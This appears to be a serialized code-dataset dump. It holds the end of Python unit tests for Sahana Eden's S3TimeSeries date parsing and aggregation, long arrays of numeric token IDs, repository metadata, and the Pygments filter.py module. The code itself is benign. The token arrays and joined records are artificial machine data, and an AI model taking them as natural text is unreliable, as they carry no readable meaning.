tp_datetime(2011, 8, 16), slots="3 months") expected = [(tp_datetime(2011, 1, 5), tp_datetime(2011, 4, 5)), (tp_datetime(2011, 4, 5), tp_datetime(2011, 7, 5)), (tp_datetime(2011, 7, 5), tp_datetime(2011, 8, 16))] for i, period in enumerate(ef): assertEqual(period.start, expected[i][0]) assertEqual(period.end, expected[i][1]) # ============================================================================= class DtParseTests(unittest.TestCase): """ Test Parsing of Datetime Options """ # ------------------------------------------------------------------------- def testDtParseAbsolute(self): """ Test dtparse with absolute dates """ assertTrue = self.assertTrue assertRaises = self.assertRaises assertEqual = self.assertEqual ts = S3TimeSeries result = ts.dtparse("5/2001") assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, tp_datetime(2001, 5, 1, 0, 0, 0)) result = ts.dtparse("2007-03") assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, tp_datetime(2007, 3, 1, 0, 0, 0)) result = ts.dtparse("1996") assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, tp_datetime(1996, 1, 1, 0, 0, 0)) result = ts.dtparse("2008-02-12") assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, tp_datetime(2008, 2, 12, 0, 0, 0)) result = ts.dtparse("2008-02-31") assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, tp_datetime(2008, 3, 2, 0, 0, 0)) # Empty string defaults to now now = datetime.datetime.utcnow() result = ts.dtparse("") assertTrue(isinstance(result, datetime.datetime)) assertEqual(result.year, now.year) assertEqual(result.month, now.month) assertEqual(result.day, now.day) assertEqual(result.hour, now.hour) assertEqual(result.minute, now.minute) # None defaults to now now = datetime.datetime.utcnow() result = ts.dtparse(None) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result.year, now.year) assertEqual(result.month, now.month) assertEqual(result.day, now.day) assertEqual(result.hour, now.hour) assertEqual(result.minute, now.minute) assertRaises(ValueError, ts.dtparse, "1985-13") assertRaises(ValueError, ts.dtparse, "68532") assertRaises(ValueError, ts.dtparse, "invalid") # ------------------------------------------------------------------------- def testDtParseRelative(self): """ Test dtparse with relative dates """ assertTrue = self.assertTrue assertRaises = self.assertRaises assertEqual = self.assertEqual ts = S3TimeSeries start = datetime.datetime(2014, 1, 3, 11, 30) result = ts.dtparse("+1 year", start=start) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, datetime.datetime(2015, 1, 3, 11, 30, 0)) result = ts.dtparse("-3 days", start=start) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, datetime.datetime(2013, 12, 31, 11, 30, 0)) result = ts.dtparse("+5 hours", start=start) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, datetime.datetime(2014, 1, 3, 16, 30, 0)) result = ts.dtparse("-6 months", start=start) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, datetime.datetime(2013, 7, 3, 11, 30, 0)) result = ts.dtparse("+12 weeks", start=start) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result, datetime.datetime(2014, 3, 28, 11, 30, 0)) # Empty string defaults to start result = ts.dtparse("", start=start) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result.year, start.year) assertEqual(result.month, start.month) assertEqual(result.day, start.day) assertEqual(result.hour, start.hour) assertEqual(result.minute, start.minute) # None defaults to start result = ts.dtparse(None, start=start) assertTrue(isinstance(result, datetime.datetime)) assertEqual(result.year, start.year) assertEqual(result.month, start.month) assertEqual(result.day, start.day) assertEqual(result.hour, start.hour) assertEqual(result.minute, start.minute) assertRaises(ValueError, ts.dtparse, "invalid") # ============================================================================= class TimeSeriesTests(unittest.TestCase): """ Tests for S3TimeSeries class """ # ------------------------------------------------------------------------- @classmethod def setUpClass(cls): db = current.db db.define_table("tp_test_events", Field("event_start", "datetime"), Field("event_end", "datetime"), Field("parameter1", "integer"), Field("parameter2", "double"), Field("event_type"), ) event_table = db["tp_test_events"] events = (("STARTEND", (2011, 1, 3, 0, 0, 0), (2011, 5, 4, 0, 0, 0), ), ("STARTEND", (2011, 4, 6, 0, 0, 0), (2011, 8, 7, 0, 0, 0), ), ("STARTEND", (2011, 7, 9, 0, 0, 0), (2011, 11, 10, 0, 0, 0), ), ("NOSTART", None, (2012, 2, 13, 0, 0, 0), ), ("NOSTART", None, (2012, 5, 16, 0, 0, 0), ), ("NOSTART", None, (2012, 8, 19, 0, 0, 0), ), ("NOEND", (2012, 7, 21, 0, 0, 0), None, ), ("NOEND", (2012, 10, 24, 0, 0, 0), None, ), ("NOEND", (2013, 1, 27, 0, 0, 0), None, ), ("PERMANENT", None, None, ), ) for event_type, start, end in events: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None record = { "event_type": event_type, "event_start": event_start, "event_end": event_end, "parameter1": 3, "parameter2": 0.5, } event_table.insert(**record) # ------------------------------------------------------------------------- @classmethod def tearDownClass(cls): db = current.db db.tp_test_events.drop() # ------------------------------------------------------------------------- def setUp(self): current.auth.override = True # ------------------------------------------------------------------------- def tearDown(self): current.auth.override = False # ------------------------------------------------------------------------- def testAutomaticInterval(self): """ Test automatic determination of interval start and end """ assertEqual = self.assertEqual assertTrue = self.assertTrue is_now = self.is_now s3db = current.s3db query = FS("event_type") == "STARTEND" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2011, 1, 3, 0, 0, 0)) assertTrue(is_now(ef.end)) query = FS("event_type") == "NOSTART" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", ) ef = ts.event_frame # falls back to first end date minus 1 day assertEqual(ef.start, tp_datetime(2012, 2, 12, 0, 0, 0)) assertTrue(is_now(ef.end)) query = FS("event_type") == "NOEND" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2012, 7, 21, 0, 0, 0)) assertTrue(is_now(ef.end)) resource = s3db.resource("tp_test_events") ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2011, 1, 3, 0, 0, 0)) assertTrue(is_now(ef.end)) # ------------------------------------------------------------------------- def testAutomaticSlotLength(self): """ Test automatic determination of reasonable aggregation time slot """ assertEqual = self.assertEqual s3db = current.s3db query = FS("event_type") == "STARTEND" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", end = "2011-03-01", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2011, 1, 3, 0, 0, 0)) assertEqual(ef.end, tp_datetime(2011, 3, 1, 0, 0, 0)) # ~8 weeks => reasonable intervall length: weeks assertEqual(ef.slots, "weeks") query = FS("event_type") == "NOSTART" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", end = "2013-01-01", ) ef = ts.event_frame # falls back to first end date minus 1 day assertEqual(ef.start, tp_datetime(2012, 2, 12, 0, 0, 0)) assertEqual(ef.end, tp_datetime(2013, 1, 1, 0, 0)) # ~11 months => reasonable intervall length: months assertEqual(ef.slots, "months") query = FS("event_type") == "NOEND" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", end = "2016-06-01", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2012, 7, 21, 0, 0, 0)) assertEqual(ef.end, tp_datetime(2016, 6, 1, 0, 0)) # ~4 years => reasonable intervall length: 3 months assertEqual(ef.slots, "3 months") resource = s3db.resource("tp_test_events") ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", end = "2011-01-15", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2011, 1, 3, 0, 0, 0)) assertEqual(ef.end, tp_datetime(2011, 1, 15, 0, 0)) # ~12 days => reasonable intervall length: days assertEqual(ef.slots, "days") # Check with manual slot length query = FS("event_type") == "NOEND" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", end = "2016-06-01", slots = "years", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2012, 7, 21, 0, 0, 0)) assertEqual(ef.end, tp_datetime(2016, 6, 1, 0, 0)) assertEqual(ef.slots, "years") # Check with manual start date query = FS("event_type") == "STARTEND" resource = s3db.resource("tp_test_events", filter = query) ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", start = "2011-02-15", end = "2011-03-01", ) ef = ts.event_frame # falls back to first start date assertEqual(ef.start, tp_datetime(2011, 2, 15, 0, 0, 0)) assertEqual(ef.end, tp_datetime(2011, 3, 1, 0, 0, 0)) # ~14 days => reasonable intervall length: days assertEqual(ef.slots, "days") # ------------------------------------------------------------------------- def testEventDataAggregation(self): """ Test aggregation of event data """ s3db = current.s3db assertEqual = self.assertEqual assertTrue = self.assertTrue PERIODS = "p" TIMES = "t" VALUE = "v" resource = s3db.resource("tp_test_events") ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", end = "2013-01-01", slots = "months", method = "sum", base = "parameter1", ) # Verify correct slot length assertEqual(ts.event_frame.slots, "months") expected = [ ((2011,1,3), (2011,2,3), 15), # 00 P NS1 NS2 NS3 SE1 ((2011,2,3), (2011,3,3), 15), # 01 P NS1 NS2 NS3 SE1 ((2011,3,3), (2011,4,3), 15), # 02 P NS1 NS2 NS3 SE1 ((2011,4,3), (2011,5,3), 18), # 03 P NS1 NS2 NS3 SE1 SE2 ((2011,5,3), (2011,6,3), 18), # 04 P NS1 NS2 NS3 SE1 SE2 ((2011,6,3), (2011,7,3), 15), # 05 P NS1 NS2 NS3 SE2 ((2011,7,3), (2011,8,3), 18), # 06 P NS1 NS2 NS3 SE2 SE3 ((2011,8,3), (2011,9,3), 18), # 07 P NS1 NS2 NS3 SE2 SE3 ((2011,9,3), (2011,10,3), 15), # 08 P NS1 NS2 NS3 SE3 ((2011,10,3), (2011,11,3), 15), # 09 P NS1 NS2 NS3 SE3 ((2011,11,3), (2011,12,3), 15), # 10 P NS1 NS2 NS3 SE3 ((2011,12,3), (2012,1,3), 12), # 11 P NS1 NS2 NS3 ((2012,1,3), (2012,2,3), 12), # 12 P NS1 NS2 NS3 ((2012,2,3), (2012,3,3), 12), # 13 P NS1 NS2 NS3 ((2012,3,3), (2012,4,3), 9), # 14 P NS2 NS3 ((2012,4,3), (2012,5,3), 9), # 15 P NS2 NS3 ((2012,5,3), (2012,6,3), 9), # 16 P NS2 NS3 ((2012,6,3), (2012,7,3), 6), # 17 P NS3 ((2012,7,3), (2012,8,3), 9), # 18 P NS3 NE1 ((2012,8,3), (2012,9,3), 9), # 19 P NS3 NE1 ((2012,9,3), (2012,10,3), 6), # 20 P NE1 ((2012,10,3), (2012,11,3), 9), # 21 P NE1 NE2 ((2012,11,3), (2012,12,3), 9), # 22 P NE1 NE2 ((2012,12,3), (2013,1,1), 9), # 23 P NE1 NE2 ] result = ts.as_dict() periods = result[PERIODS] for i, period in enumerate(periods): expected_start, expected_end, expected_value = expected[i] expected_start = tp_datetime(*expected_start).isoformat() expected_end = tp_datetime(*expected_end).isoformat() dates = period.get(TIMES) assertTrue(isinstance(dates, tuple)) start, end = dates assertEqual(start, expected_start, msg="Period %s start should be %s, but is %s" % (i, expected_start, start)) assertEqual(end, expected_end, msg="Period %s end should be %s, but is %s" % (i, expected_end, end)) value = period.get(VALUE) assertEqual(value, expected_value, msg="Period %s sum should be %s, but is %s" % (i, expected_value, value)) # ------------------------------------------------------------------------- def testEventDataCumulativeAggregation(self): """ Test aggregation of event data, cumulative """ s3db = current.s3db assertEqual = self.assertEqual assertTrue = self.assertTrue PERIODS = "p" TIMES = "t" VALUE = "v" resource = s3db.resource("tp_test_events") ts = S3TimeSeries(resource, event_start = "event_start", event_end = "event_end", start = "2012-01-01", end = "2013-01-01", slots = "months", method = "cumulate", slope = "parameter1", interval = "months", ) # Verify correct slot length assertEqual(ts.event_frame.slots, "months") expected = [ ((2012,1,1), (2012,2,1), 45), # 01 P NS1 NS2 NS3 (SE1 SE2 SE3) ((2012,2,1), (2012,3,1), 45), # 02 P NS1 NS2 NS3 (SE1 SE2 SE3) ((2012,3,1), (2012,4,1), 45), # 03 P NS2 NS3 (SE1 SE2 SE3) ((2012,4,1), (2012,5,1), 45), # 04 P NS2 NS3 (SE1 SE2 SE3) ((2012,5,1), (2012,6,1), 45), # 05 P NS2 NS3 (SE1 SE2 SE3) ((2012,6,1), (2012,7,1), 45), # 06 P NS3 (SE1 SE2 SE3) ((2012,7,1), (2012,8,1), 48), # 07 P NS3 (SE1 SE2 SE3) NE1 ((2012,8,1), (2012,9,1), 51), # 08 P NS3 (SE1 SE2 SE3) NE1 ((2012,9,1), (2012,10,1), 54), # 09 P (SE1 SE2 SE3) NE1 ((2012,10,1), (2012,11,1), 60), # 10 P (SE1 SE2 SE3) NE1 NE2 ((2012,11,1), (2012,12,1), 66), # 11 P (SE1 SE2 SE3) NE1 NE2 ((2012,12,1), (2013,1,1), 72), # 12 P (SE1 SE2 SE3) NE1 NE2 ] result = ts.as_dict() periods = result[PERIODS] for i, period in enumerate(periods): expected_start, expected_end, expected_value = expected[i] expected_start = tp_datetime(*expected_start).isoformat() expected_end = tp_datetime(*expected_end).isoformat() dates = period.get(TIMES) assertTrue(isinstance(dates, tuple)) start, end = dates assertEqual(start, expected_start, msg="Period %s start should be %s, but is %s" % (i, expected_start, start)) assertEqual(end, expected_end, msg="Period %s end should be %s, but is %s" % (i, expected_end, end)) value = period.get(VALUE) assertEqual(value, expected_value, msg="Period %s cumulative sum should be %s, but is %s" % (i, expected_value, value)) # ------------------------------------------------------------------------- @staticmethod def is_now(dt): now = datetime.datetime.utcnow() if dt.year == now.year and \ dt.month == now.month and \ dt.day == now.day and \ dt.hour == now.hour and \ abs(dt.minute - now.minute) < 5: return True else: return False # ============================================================================= def run_suite(*test_classes): """ Run the test suite """ loader = unittest.TestLoader() suite = unittest.TestSuite() for test_class in test_classes: tests = loader.loadTestsFromTestCase(test_class) suite.addTests(tests) if suite is not None: unittest.TextTestRunner(verbosity=2).run(suite) return if __name__ == "__main__": run_suite( EventTests, PeriodTests, PeriodTestsSingleAxis, PeriodTestsNoGroups, EventFrameTests, DtParseTests, TimeSeriesTests, ) # END ========================================================================
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 4703, 14794, 12008, 6496, 199, 3, 199, 3, 4005, 1255, 642, 2884, 675, 26, 199, 3, 2366, 3330, 18, 647, 14, 647, 446, 51, 325, 848, 446, 45, 446, 50, 13103, 15, 69, 848, 15, 3112, 15, 3248, 63, 2219, 15, 83, 19, 15, 83, 19, 521, 2798, 14, 647, 199, 3, 199, 646, 2197, 199, 646, 2196, 199, 646, 2882, 199, 646, 22208, 14, 3903, 199, 199, 504, 26752, 492, 627, 199, 504, 308, 19, 14, 83, 19, 521, 2798, 492, 627, 199, 504, 308, 19, 14, 83, 19, 521, 2798, 492, 9253, 63, 2083, 199, 504, 308, 19, 14, 83, 19, 1131, 492, 27500, 199, 199, 3, 26237, 199, 533, 6763, 2925, 8, 2796, 14, 1746, 304, 272, 408, 6496, 367, 428, 19, 30887, 2390, 1021, 408, 339, 347, 511, 9641, 8, 277, 304, 267, 408, 1379, 6779, 13, 765, 408, 398, 6779, 275, 428, 19, 30887, 2390, 14, 5602, 398, 26400, 275, 291, 14, 629, 398, 327, 23872, 488, 1077, 8120, 469, 403, 93, 267, 26400, 8, 5602, 8, 403, 395, 663, 779, 403, 2459, 398, 327, 13050, 574, 1077, 8120, 469, 585, 93, 267, 26400, 8, 5602, 8, 16, 395, 663, 779, 16, 2459, 267, 26400, 8, 5602, 480, 33, 1288, 663, 5234, 33, 13045, 398, 327, 9630, 769, 1077, 8120, 469, 403, 93, 267, 26400, 8, 5602, 25550, 663, 1012, 267, 26400, 8, 5602, 4038, 467, 942, 2522, 663, 1012, 398, 327, 3820, 1077, 8120, 7353, 663, 267, 26400, 8, 5602, 5234, 33, 401, 298, 34, 10252, 663, 5234, 33, 401, 298, 34, 13045, 267, 26400, 8, 5602, 5234, 33, 401, 488, 2522, 663, 5234, 33, 401, 488, 2459, 267, 26400, 8, 5602, 5234, 33, 401, 942, 2522, 663, 5234, 33, 13045, 398, 327, 23137, 5548, 1077, 506, 18767, 267, 26400, 8, 5602, 5234, 33, 401, 2097, 34, 401, 298, 35, 937, 2522, 663, 5234, 33, 401, 298, 34, 401, 298, 35, 13045, 267, 26400, 8, 5602, 5234, 33, 401, 2097, 34, 401, 298, 33, 937, 2522, 663, 5234, 33, 401, 298, 34, 13045, 339, 327, 18852, 272, 347, 511, 10264, 8, 277, 304, 267, 408, 1379, 1566, 14538, 408, 398, 26400, 275, 291, 14, 629, 267, 702, 549, 275, 291, 14, 1815, 398, 1343, 275, 9253, 63, 2083, 8, 15431, 12, 413, 12, 413, 9, 267, 1284, 275, 9253, 63, 2083, 8, 15431, 12, 650, 12, 7829, 9, 398, 1566, 63, 344, 275, 413, 267, 1338, 275, 2420, 396, 582, 499, 93, 398, 327, 1379, 14538, 1928, 1338, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 776, 398, 26400, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 702, 549, 8, 6074, 8, 1430, 14, 1459, 12, 1211, 430, 267, 26400, 8, 1430, 905, 396, 2255, 488, 9, 398, 327, 1379, 14538, 543, 1338, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 1338, 29, 1459, 12, 3303, 776, 398, 26400, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 26400, 8, 1430, 14, 1459, 12, 1338, 9, 267, 26400, 8, 1430, 905, 396, 2255, 1338, 905, 396, 3135, 398, 327, 1379, 14538, 543, 1338, 436, 1962, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 1338, 29, 1459, 12, 3303, 1962, 275, 298, 33, 401, 3303, 776, 398, 291, 14, 629, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 291, 14, 629, 8, 1430, 14, 1459, 12, 1338, 9, 267, 291, 14, 629, 8, 1430, 905, 396, 2255, 1338, 905, 396, 3135, 267, 291, 14, 629, 8, 1430, 14, 3838, 12, 663, 5234, 33, 13045, 267, 291, 14, 629, 8, 1430, 14, 4574, 12, 663, 1012, 398, 327, 1379, 14538, 543, 1338, 436, 1962, 15, 761, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 1338, 29, 1459, 12, 3303, 1962, 275, 298, 34, 401, 3303, 1048, 275, 359, 17, 12, 841, 12, 1520, 467, 3303, 776, 398, 291, 14, 629, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 291, 14, 629, 8, 1430, 14, 1459, 12, 1338, 9, 267, 291, 14, 629, 8, 1430, 905, 396, 2255, 1338, 905, 396, 3135, 267, 291, 14, 629, 8, 1430, 14, 3838, 12, 663, 5234, 34, 13045, 267, 291, 14, 629, 8, 1430, 14, 4574, 12, 663, 779, 17, 12, 841, 12, 1520, 2459, 339, 327, 18852, 272, 347, 511, 25834, 8, 277, 304, 267, 408, 1379, 9132, 1083, 636, 4116, 363, 367, 4474, 334, 991, 13351, 3062, 9, 408, 398, 666, 275, 359, 288, 334, 24, 12, 334, 7409, 12, 17, 12, 713, 395, 334, 6965, 12, 25, 12, 1167, 1826, 288, 334, 18, 12, 488, 12, 334, 6965, 12, 20, 12, 2025, 1826, 288, 334, 22, 12, 334, 6965, 12, 20, 12, 1079, 395, 334, 6965, 12, 21, 12, 23, 1826, 288, 334, 19, 12, 334, 7409, 12, 20, 12, 2025, 395, 334, 6965, 12, 22, 12, 19, 1826, 288, 334, 20, 12, 334, 6965, 12, 20, 12, 1085, 395, 334, 6965, 12, 21, 12, 1465, 1826, 267, 1622, 2728, 4474, 275, 942, 267, 367, 1566, 63, 344, 12, 1343, 12, 1284, 315, 666, 26, 288, 1566, 63, 928, 275, 9253, 63, 2083, 2031, 928, 9, 340, 1343, 587, 488, 288, 1566, 63, 500, 275, 9253, 63, 2083, 2031, 500, 9, 340, 1284, 587, 488, 288, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 4228, 1343, 275, 1566, 63, 928, 12, 4228, 1284, 275, 1566, 63, 500, 12, 4228, 776, 288, 4474, 14, 740, 8, 1430, 9, 10631, 1865, 275, 359, 1430, 14, 1430, 63, 344, 367, 1566, 315, 3355, 8, 4368, 1874, 267, 291, 14, 629, 8, 1648, 12, 359, 18, 12, 1695, 12, 650, 12, 1227, 12, 841, 566, 199, 199, 3, 26237, 199, 533, 16532, 2925, 8, 2796 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 4703, 14794, 12008, 6496, 199, 3, 199, 3, 4005, 1255, 642, 2884, 675, 26, 199, 3, 2366, 3330, 18, 647, 14, 647, 446, 51, 325, 848, 446, 45, 446, 50, 13103, 15, 69, 848, 15, 3112, 15, 3248, 63, 2219, 15, 83, 19, 15, 83, 19, 521, 2798, 14, 647, 199, 3, 199, 646, 2197, 199, 646, 2196, 199, 646, 2882, 199, 646, 22208, 14, 3903, 199, 199, 504, 26752, 492, 627, 199, 504, 308, 19, 14, 83, 19, 521, 2798, 492, 627, 199, 504, 308, 19, 14, 83, 19, 521, 2798, 492, 9253, 63, 2083, 199, 504, 308, 19, 14, 83, 19, 1131, 492, 27500, 199, 199, 3, 26237, 199, 533, 6763, 2925, 8, 2796, 14, 1746, 304, 272, 408, 6496, 367, 428, 19, 30887, 2390, 1021, 408, 339, 347, 511, 9641, 8, 277, 304, 267, 408, 1379, 6779, 13, 765, 408, 398, 6779, 275, 428, 19, 30887, 2390, 14, 5602, 398, 26400, 275, 291, 14, 629, 398, 327, 23872, 488, 1077, 8120, 469, 403, 93, 267, 26400, 8, 5602, 8, 403, 395, 663, 779, 403, 2459, 398, 327, 13050, 574, 1077, 8120, 469, 585, 93, 267, 26400, 8, 5602, 8, 16, 395, 663, 779, 16, 2459, 267, 26400, 8, 5602, 480, 33, 1288, 663, 5234, 33, 13045, 398, 327, 9630, 769, 1077, 8120, 469, 403, 93, 267, 26400, 8, 5602, 25550, 663, 1012, 267, 26400, 8, 5602, 4038, 467, 942, 2522, 663, 1012, 398, 327, 3820, 1077, 8120, 7353, 663, 267, 26400, 8, 5602, 5234, 33, 401, 298, 34, 10252, 663, 5234, 33, 401, 298, 34, 13045, 267, 26400, 8, 5602, 5234, 33, 401, 488, 2522, 663, 5234, 33, 401, 488, 2459, 267, 26400, 8, 5602, 5234, 33, 401, 942, 2522, 663, 5234, 33, 13045, 398, 327, 23137, 5548, 1077, 506, 18767, 267, 26400, 8, 5602, 5234, 33, 401, 2097, 34, 401, 298, 35, 937, 2522, 663, 5234, 33, 401, 298, 34, 401, 298, 35, 13045, 267, 26400, 8, 5602, 5234, 33, 401, 2097, 34, 401, 298, 33, 937, 2522, 663, 5234, 33, 401, 298, 34, 13045, 339, 327, 18852, 272, 347, 511, 10264, 8, 277, 304, 267, 408, 1379, 1566, 14538, 408, 398, 26400, 275, 291, 14, 629, 267, 702, 549, 275, 291, 14, 1815, 398, 1343, 275, 9253, 63, 2083, 8, 15431, 12, 413, 12, 413, 9, 267, 1284, 275, 9253, 63, 2083, 8, 15431, 12, 650, 12, 7829, 9, 398, 1566, 63, 344, 275, 413, 267, 1338, 275, 2420, 396, 582, 499, 93, 398, 327, 1379, 14538, 1928, 1338, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 776, 398, 26400, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 702, 549, 8, 6074, 8, 1430, 14, 1459, 12, 1211, 430, 267, 26400, 8, 1430, 905, 396, 2255, 488, 9, 398, 327, 1379, 14538, 543, 1338, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 1338, 29, 1459, 12, 3303, 776, 398, 26400, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 26400, 8, 1430, 14, 1459, 12, 1338, 9, 267, 26400, 8, 1430, 905, 396, 2255, 1338, 905, 396, 3135, 398, 327, 1379, 14538, 543, 1338, 436, 1962, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 1338, 29, 1459, 12, 3303, 1962, 275, 298, 33, 401, 3303, 776, 398, 291, 14, 629, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 291, 14, 629, 8, 1430, 14, 1459, 12, 1338, 9, 267, 291, 14, 629, 8, 1430, 905, 396, 2255, 1338, 905, 396, 3135, 267, 291, 14, 629, 8, 1430, 14, 3838, 12, 663, 5234, 33, 13045, 267, 291, 14, 629, 8, 1430, 14, 4574, 12, 663, 1012, 398, 327, 1379, 14538, 543, 1338, 436, 1962, 15, 761, 267, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 3303, 1343, 29, 928, 12, 3303, 1284, 29, 500, 12, 3303, 1338, 29, 1459, 12, 3303, 1962, 275, 298, 34, 401, 3303, 1048, 275, 359, 17, 12, 841, 12, 1520, 467, 3303, 776, 398, 291, 14, 629, 8, 1430, 14, 1430, 63, 344, 12, 1566, 63, 344, 9, 267, 291, 14, 629, 8, 1430, 14, 1459, 12, 1338, 9, 267, 291, 14, 629, 8, 1430, 905, 396, 2255, 1338, 905, 396, 3135, 267, 291, 14, 629, 8, 1430, 14, 3838, 12, 663, 5234, 34, 13045, 267, 291, 14, 629, 8, 1430, 14, 4574, 12, 663, 779, 17, 12, 841, 12, 1520, 2459, 339, 327, 18852, 272, 347, 511, 25834, 8, 277, 304, 267, 408, 1379, 9132, 1083, 636, 4116, 363, 367, 4474, 334, 991, 13351, 3062, 9, 408, 398, 666, 275, 359, 288, 334, 24, 12, 334, 7409, 12, 17, 12, 713, 395, 334, 6965, 12, 25, 12, 1167, 1826, 288, 334, 18, 12, 488, 12, 334, 6965, 12, 20, 12, 2025, 1826, 288, 334, 22, 12, 334, 6965, 12, 20, 12, 1079, 395, 334, 6965, 12, 21, 12, 23, 1826, 288, 334, 19, 12, 334, 7409, 12, 20, 12, 2025, 395, 334, 6965, 12, 22, 12, 19, 1826, 288, 334, 20, 12, 334, 6965, 12, 20, 12, 1085, 395, 334, 6965, 12, 21, 12, 1465, 1826, 267, 1622, 2728, 4474, 275, 942, 267, 367, 1566, 63, 344, 12, 1343, 12, 1284, 315, 666, 26, 288, 1566, 63, 928, 275, 9253, 63, 2083, 2031, 928, 9, 340, 1343, 587, 488, 288, 1566, 63, 500, 275, 9253, 63, 2083, 2031, 500, 9, 340, 1284, 587, 488, 288, 1566, 275, 428, 19, 30887, 2390, 8, 1430, 63, 344, 12, 4228, 1343, 275, 1566, 63, 928, 12, 4228, 1284, 275, 1566, 63, 500, 12, 4228, 776, 288, 4474, 14, 740, 8, 1430, 9, 10631, 1865, 275, 359, 1430, 14, 1430, 63, 344, 367, 1566, 315, 3355, 8, 4368, 1874, 267, 291, 14, 629, 8, 1648, 12, 359, 18, 12, 1695, 12, 650, 12, 1227, 12, 841, 566, 199, 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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
amghost/myblog
node_modules/pygmentize-bundled/vendor/pygments/build-2.7/pygments/filter.py
365
2071
# -*- coding: utf-8 -*- """ pygments.filter ~~~~~~~~~~~~~~~ Module that implements the default filter. :copyright: Copyright 2006-2013 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ def apply_filters(stream, filters, lexer=None): """ Use this method to apply an iterable of filters to a stream. If lexer is given it's forwarded to the filter, otherwise the filter receives `None`. """ def _apply(filter_, stream): for token in filter_.filter(lexer, stream): yield token for filter_ in filters: stream = _apply(filter_, stream) return stream def simplefilter(f): """ Decorator that converts a function into a filter:: @simplefilter def lowercase(lexer, stream, options): for ttype, value in stream: yield ttype, value.lower() """ return type(f.__name__, (FunctionFilter,), { 'function': f, '__module__': getattr(f, '__module__'), '__doc__': f.__doc__ }) class Filter(object): """ Default filter. Subclass this class or use the `simplefilter` decorator to create own filters. """ def __init__(self, **options): self.options = options def filter(self, lexer, stream): raise NotImplementedError() class FunctionFilter(Filter): """ Abstract class used by `simplefilter` to create simple function filters on the fly. The `simplefilter` decorator automatically creates subclasses of this class for functions passed to it. """ function = None def __init__(self, **options): if not hasattr(self, 'function'): raise TypeError('%r used without bound function' % self.__class__.__name__) Filter.__init__(self, **options) def filter(self, lexer, stream): # pylint: disable-msg=E1102 for ttype, value in self.function(lexer, stream, self.options): yield ttype, value
mit
